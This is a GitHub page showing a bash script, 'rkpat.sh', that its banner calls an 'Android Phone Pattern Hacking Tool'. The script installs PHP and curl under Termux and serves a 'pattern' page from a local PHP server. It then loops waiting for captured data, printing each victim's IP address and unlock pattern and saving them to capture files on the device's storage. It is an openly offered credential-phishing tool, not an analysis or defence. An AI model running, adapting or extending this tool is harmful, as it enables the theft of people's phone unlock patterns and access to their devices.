-
Notifications
You must be signed in to change notification settings - Fork 0
/
rkpat.sh
145 lines (132 loc) · 6.15 KB
/
rkpat.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
#!/bin/bash
# RKPat V 1.rk.beta
################ BY NITRO ###############
# This Tool Is For Android #
# Pattern Penetraion testing #
# website: www.rkstudio.com #
#----------Noob Hackers Aboute----------#
# Website: www.noob-hackers.com #
# Github: www.github.com/noob-hackers #
# This tool created by ( Noob hacker ) #
# Mortified By RK. #
# #
#############---RK Studio----############
termux='Termux'
tool_name='RKPat'
host='localhost'
port='8080'
version='\033[31m1.rk.beta\e[0m\e[1;92m'
check_status() {
echo -ne "\e[1;92m[\e[0m+\e[1;92m] Internet Status : "
timeout 3s curl -fIs "https://api.github.com" > /dev/null
[ $? -eq 0 ] && echo -e "\e[1;92mOnline\e[0m" && return 0 && check_update || echo -e '\033[0;31mOffline\e[0m' && return 1;
}
run_create() {
if [ ! -d /sdcard/$termux/ ]; then
mkdir /sdcard/$termux
fi
if [ ! -d /sdcard/$termux/$tool_name/ ]; then
mkdir /sdcard/$termux/$tool_name
fi
}
####### Check if the pacages available #######
dependencies() {
if [[ ! $(command -v php) ]]; then
echo -e "\e[1;92mInstalling PHP....\e[0m"
pkg install php -y
echo -e "\e[1;92mPHP Installing successfuly\e[0m"
fi
if [[ ! $(command -v curl) ]]; then
echo -e "\e[1;92mInstalling Curl....\e[0m"
pkg install curl -y
echo -e "\e[1;92mPHP Installing successfuly\e[0m"
fi
}
####### Menu of the tool #######
menu() {
server="pattern"
start
}
####### Stop background execution #######
stop() {
checkphp=$(ps aux | grep -o "php" | head -n1)
checkproot=$(ps aux | grep -o "proot" | head -n1)
if [[ $checkphp == *'php'* ]]; then
pkill -f -2 php > /dev/null 2>&1
killall -2 php > /dev/null 2>&1
fi
if [[ $checkproot == *'proot'* ]]; then
pkill -f -2 proot > /dev/null 2>&1
killall -2 proot > /dev/null 2>&1
fi
if [[ -e sendlink ]]; then
rm -rf sendlink
fi
}
####### Banner for interface #######
banner() {
clear
printf '\n\033[36m ███████████ █████ ████ ███████████ █████ \e[0m\n'
printf '\033[36m ░░███░░░░░███ ░░███ ███░ ░░███░░░░░███ ░░███ \e[0m\n'
printf '\033[36m ░███ ░███ ░███ ███ ░███ ░███ ██████ ███████ \e[0m\n'
printf '\033[36m ░██████████ ░███████ ░██████████ ░░░░░███ ░░░███░ \e[0m\n'
printf '\033[36m ░███░░░░░███ ░███░░███ ░███░░░░░░ ███████ ░███ \e[0m\n'
printf '\033[36m ░███ ░███ ░███ ░░███ ░███ ███░░███ ░███ ███\e[0m\n'
printf '\033[36m █████ █████ █████ ░░████ █████ ░░████████ ░░█████ \e[0m\n'
printf '\033[36m ░░░░░ ░░░░░ ░░░░░ ░░░░ ░░░░░ ░░░░░░░░ ░░░░░ \e[0m\n\n'
printf '\e[1;33m ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀\e[0m\n'
printf "\e[1;33m $tool_name\e[0m\e[1;92m Version $version - by RK Riad \e[0m\033[36m[\e[1;33mRK Studio\e[0m\033[36m]\e[0m \n"
printf "\e[1;92m www.rkstudio.com | www.github.com/rkstudio585 \e[0m \n"
printf "\e[1;33m $tool_name\e[0m\e[1;92m is a Android Phone Pattern Hacking Tool.\e[0m \n"
printf "\e[1;33m $tool_name\e[0m\e[1;92m Tool Modified by RK From hacklock Tool (Script By N17R0).\e[0m \n"
printf '\e[1;33m ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀\e[0m\n'
printf "\n"
}
####### Catch creds #######
catch_cred() {
IFS=$'\n'
password=$(grep -o 'password : .*' $HOME/$tool_name/core/pattern/usernames.txt | cut -d ":" -f2)
ip=$(grep -o 'IP: .*' $HOME/$tool_name/core/pattern/ip.txt | cut -d ":" -f2)
printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m]\e[0m\e[1;92m Victim-IP:\e[0m\e[1;77m %s\n\e[0m" $ip
printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m]\e[0m\e[1;92m Pattern-pin:\e[0m\e[1;77m %s\n\e[0m" $password
cat $HOME/$tool_name/core/pattern/usernames.txt >> /sdcard/$termux/$tool_name/patterncode.cap
cat $HOME/$tool_name/core/pattern/ip.txt >> /sdcard/$termux/$tool_name/ip.cap
printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Saved:\e[0m\e[1;77m /sdcard/$termux/$tool_name/patterncode.cap\e[0m\n"
printf "\n"
printf "\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Waiting For Next Pin, Press Ctrl + C to exit...\e[0m\n"
}
####### Server start/run #######
start() {
if [[ -e "$HOME/$tool_name/core/pattern/ip.txt" ]]; then
rm -rf $HOME/$tool_name/core/pattern/ip.txt
fi
if [[ -e "$HOME/$tool_name/core/pattern/usernames.txt" ]]; then
rm -rf $HOME/$tool_name/core/pattern/usernames.txt
fi
####### Server start process #######
printf "\e[1;92m[\e[0m+\e[1;92m] Local Server Running At: \033[36mhttp://$host:$port\e[0m\n"
cd $HOME/$tool_name/core/pattern && php -S localhost:8080 > /dev/null 2>&1 &
printf "\e[1;92m[\e[0m+\e[1;92m] Data Save At: \033[36m/sdcard/$termux/$tool_name\e[0m\n"
printf "\e[1;92m[\e[0m+\e[1;92m] Note:\e[0m ( \033[36mI Remove The Tunneling Features From This Tool\n\t You Can Start Your Own Tunneling Server\e[0m )\n"
printf "\n"
checkfound
}
####### Check found data #######
checkfound() {
printf "\n"
printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Waiting For Pin,\e[0m\e[1;77m Press Ctrl + C to exit...\e[0m\n"
while [ true ]; do
if [[ -e "$HOME/$tool_name/core/pattern/usernames.txt" ]]; then
printf "\n\e[1;93m[\e[0m*\e[1;93m]\e[0m\e[1;92m Pattern Found!\n"
catch_cred
rm -rf $HOME/$tool_name/core/pattern/usernames.txt
fi
sleep 0.5
done
}
####### Restart the tool #######
run_create
banner
check_status
dependencies
menu